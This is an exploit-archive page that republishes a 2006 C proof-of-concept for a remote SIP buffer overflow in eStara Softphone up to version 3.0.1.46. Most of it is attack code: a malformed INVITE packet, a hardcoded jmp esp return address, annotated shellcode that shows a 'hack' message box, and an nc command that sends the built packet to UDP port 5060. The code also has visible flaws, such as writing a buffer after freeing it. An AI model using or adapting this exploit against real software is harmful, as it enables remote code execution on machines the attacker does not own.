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eStara Softphone <= 3.0.1.46 (SIP) Remote Buffer Overflow Exploit

Author
ZwelL
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8659
Category
remote exploits
Date add
12-01-2006
Platform
unsorted
=================================================================
eStara Softphone <= 3.0.1.46 (SIP) Remote Buffer Overflow Exploit
=================================================================

/***************************************
eStara Softphone buffer overflow exploit
tested on :
	eStara Softphone 3.0.1.14
		||||||
	eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe

Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.

Author : ZwelL
Mail : zwell@sohu.com
WebSite : http://www.donews.net/zwell
Data : 2006.01.11
**************************************/

#include <windows.h>
#include <stdio.h>

unsigned char invite[] = {
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};

unsigned char jmpesp[] ={ //jmpesp=0x7ffa4512;
	0x12, 0x45, 0xfa, 0x7f
};

unsigned char end[] = {
	0x32, 0x33, 0x34, 0x35, 0x36, 
	0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 
	0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 
	0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 
	0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 
	0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3A, 0x30, 0x20, 0x50, 0x43, 0x4D, 0x55, 0x2F, 
	0x38, 0x30, 0x30, 0x30, 0x0D, 0x0A
};



unsigned char scode[] =
"\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68"
"\x68\x61\x63\x6b"	//"hack"
"\x54\x5a\x50\x52\x52\x50\x53\x51\xc3";

//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 6861636b PUSH 6b636168 ; Create string.= hack
//54 PUSH ESP ; Get the offset to the 
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//52 PUSH EAX ; Message
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump 


int main()
{
	FILE *stream;
	unsigned char *exploitbuf;
	int size;
	char *filename = "sip_overbuf_exploit.dat";
	DWORD msgboxaddr = (DWORD)MessageBoxA; //Windows XP EN SP2 MessageBoxA address = 0x77d6e824;
											//If others, just change it;

	size = sizeof(invite)+sizeof(jmpesp)+sizeof(end);
	exploitbuf = (unsigned char *)malloc(size);
	printf("exploitbuf len = %d\n", size);
	memcpy(exploitbuf, invite, sizeof(invite));
	memcpy(exploitbuf+sizeof(invite), jmpesp, sizeof(jmpesp));
	memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), end, sizeof(end));
	*(DWORD *)&scode[1] = msgboxaddr+0x11111111;
	memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), scode, sizeof(scode));
	

	if( (stream = fopen( filename, "w+b" )) == NULL )
		printf("Build File Error!!!\n");	
	else
		printf("Build File %s successful! ^_^\n", filename);

	free(exploitbuf);
	fwrite( exploitbuf, size, 1, stream );
	fclose(stream);
}


#  0day.today [2024-12-23]  #
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Please, beware of scammers!

eStara Softphone <= 3.0.1.46 (SIP) Remote Buffer Overflow Exploit

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